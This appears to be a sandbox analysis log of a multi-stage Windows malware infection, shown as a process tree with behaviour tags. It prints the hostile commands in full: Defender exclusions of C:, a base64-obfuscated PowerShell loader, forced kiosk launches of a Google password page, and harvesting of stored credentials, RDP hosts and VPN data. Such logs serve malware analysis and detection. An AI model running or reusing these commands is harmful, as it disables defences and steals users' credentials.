C:\Users\Admin\AppData\Local\jDlhCGF69GFW.exe"C:\Users\Admin\AppData\Local\jDlhCGF69GFW.exe"7⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\bLE3G0OLevI7.exe"C:\Users\Admin\AppData\Local\bLE3G0OLevI7.exe"7⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413390101\82b0eb32a1.exe"C:\Users\Admin\AppData\Local\Temp\10413390101\82b0eb32a1.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM firefox.exe /T7⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM chrome.exe /T7⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msedge.exe /T7⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM opera.exe /T7⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM brave.exe /T7⤵
- System Location Discovery: System Language Discovery
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking7⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking8⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2012 -prefsLen 27099 -prefMapHandle 2016 -prefMapSize 270279 -ipcHandle 2092 -initialChannelId {ea665aa5-2c5f-4d41-88a1-78c9d94cd553} -parentPid 2108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2108" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu9⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2500 -prefsLen 27135 -prefMapHandle 2504 -prefMapSize 270279 -ipcHandle 2512 -initialChannelId {ca558f66-3234-4cb4-9aeb-7b3ce6c605d2} -parentPid 2108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket9⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3828 -prefsLen 25164 -prefMapHandle 3832 -prefMapSize 270279 -jsInitHandle 3836 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3844 -initialChannelId {a1e8a850-aaab-4032-befa-e4b711017f69} -parentPid 2108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab9⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3992 -prefsLen 27276 -prefMapHandle 3996 -prefMapSize 270279 -ipcHandle 4088 -initialChannelId {95424d39-67a1-47be-a6b9-9e3c53c8ca74} -parentPid 2108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2108" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd9⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2784 -prefsLen 34775 -prefMapHandle 1544 -prefMapSize 270279 -jsInitHandle 1612 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3116 -initialChannelId {f1a210ec-50b3-4b92-946f-77fcf6eaa0cb} -parentPid 2108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab9⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5072 -prefsLen 35012 -prefMapHandle 5040 -prefMapSize 270279 -ipcHandle 5088 -initialChannelId {dbcfa63a-7ece-4d3a-92b4-9dc884a246bb} -parentPid 2108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility9⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5368 -prefsLen 32952 -prefMapHandle 5372 -prefMapSize 270279 -jsInitHandle 5376 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5384 -initialChannelId {5a8f9d23-717d-4d59-a134-034d54e9e67a} -parentPid 2108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab9⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5556 -prefsLen 32952 -prefMapHandle 5560 -prefMapSize 270279 -jsInitHandle 5564 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5572 -initialChannelId {52083d2d-9be0-41ee-8d0d-b1970ee18c4c} -parentPid 2108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab9⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5744 -prefsLen 32952 -prefMapHandle 5748 -prefMapSize 270279 -jsInitHandle 5752 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5760 -initialChannelId {82fff13d-eac1-436f-bdd2-06fd82ad0707} -parentPid 2108 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2108" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab9⤵
- Checks processor information in registry
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413400101\363e2b1ae0.exe"C:\Users\Admin\AppData\Local\Temp\10413400101\363e2b1ae0.exe"6⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Modifies Windows Defender TamperProtection settings
- Modifies Windows Defender notification settings
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Windows security modification
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\10413410101\YGYZCmt.exe"C:\Users\Admin\AppData\Local\Temp\10413410101\YGYZCmt.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413420101\Rm3cVPI.exe"C:\Users\Admin\AppData\Local\Temp\10413420101\Rm3cVPI.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\10413430101\p3hx1_003.exe"C:\Users\Admin\AppData\Local\Temp\10413430101\p3hx1_003.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-MpPreference -ExclusionPath 'C:'8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe"7⤵
- Downloads MZ/PE file
- Adds Run key to start application
-
C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe"C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""8⤵
- Sets service image path in registry
- Executes dropped EXE
- Suspicious behavior: LoadsDriver
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Remove-MpPreference -ExclusionPath C:\9⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe"C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""8⤵
- Deletes itself
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\{36d3eb5e-beec-4975-87e1-680820f1b768}\767b79c8.exe"C:\Users\Admin\AppData\Local\Temp\{36d3eb5e-beec-4975-87e1-680820f1b768}\767b79c8.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot9⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\{c7dd93b9-2d63-499c-ace4-5f2eca5c7023}\85aa353a.exeC:/Users/Admin/AppData/Local/Temp/{c7dd93b9-2d63-499c-ace4-5f2eca5c7023}/\85aa353a.exe -accepteula -adinsilent -silent -processlevel 2 -postboot10⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Impair Defenses: Safe Mode Boot
- Loads dropped DLL
- Adds Run key to start application
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Checks for VirtualBox DLLs, possible anti-VM trick
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: LoadsDriver
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413440101\qWR3lUj.exe"C:\Users\Admin\AppData\Local\Temp\10413440101\qWR3lUj.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413450101\TbV75ZR.exe"C:\Users\Admin\AppData\Local\Temp\10413450101\TbV75ZR.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13900 -s 4968⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10413461121\5ym0ZYg.cmd"6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10413461121\5ym0ZYg.cmd"7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"8⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'9⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413470101\c3c6e991ca.exe"C:\Users\Admin\AppData\Local\Temp\10413470101\c3c6e991ca.exe"6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\10413480101\PQPYAYJJ.exe"C:\Users\Admin\AppData\Local\Temp\10413480101\PQPYAYJJ.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Abspawnhlp.exe"C:\Users\Admin\Abspawnhlp.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exeC:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exeC:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe9⤵
- Loads dropped DLL
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe9⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413490101\captcha.exe"C:\Users\Admin\AppData\Local\Temp\10413490101\captcha.exe"6⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\system32\cmd.exe"cmd.exe" /c "dxdiag /t > \"C:\Users\Admin\AppData\Local\Temp\dxdiag_temp_1131508820.txt\""7⤵
- NTFS ADS
-
-
C:\Windows\system32\net.exe"net" statistics workstation7⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 statistics workstation8⤵
-
-
-
C:\Windows\system32\vaultcmd.exe"vaultcmd" /list7⤵
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command " $entries = cmdkey /list | Select-String \"TERMSRV\" -Context 0,3 foreach ($entry in $entries) { $target = ($entry -split \"target=\")[1].Trim() $ip = $target -replace \"TERMSRV/\", \"\" $userLine = $entry.Context.PostContext | Select-String \"User\" $user = if ($userLine) { ($userLine -split \":\")[1].Trim() } else { \"N/A\" } Write-Output \"Server: $ip | Username: $user\" } "7⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmdkey.exe"C:\Windows\system32\cmdkey.exe" /list8⤵
-
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\tasklist.exe"tasklist" /FO CSV /NH7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\certutil.exe"certutil" -store My7⤵
-
-
C:\Windows\system32\certutil.exe"certutil" -store -user My7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-VpnConnection | ConvertTo-Json"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command " $regPath = \"HKCU:\Software\Microsoft\Terminal Server Client\Servers\" if (Test-Path $regPath) { Get-ChildItem $regPath | ForEach-Object { $server = $_.PSChildName $usernamePath = Join-Path $_.PSPath \"UsernameHint\" $username = if (Test-Path $usernamePath) { (Get-ItemProperty -Path $usernamePath -Name \"(default)\" -ErrorAction SilentlyContinue).\"(default)\" } else { \"\" } Write-Output \"Server:$server,Username:$username\" } } "7⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list7⤵
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list:TERMSRV/69.48.201.747⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM chrome.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM msedge.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM brave.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM opera.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM vivaldi.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM firefox.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM dragon.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
-
-
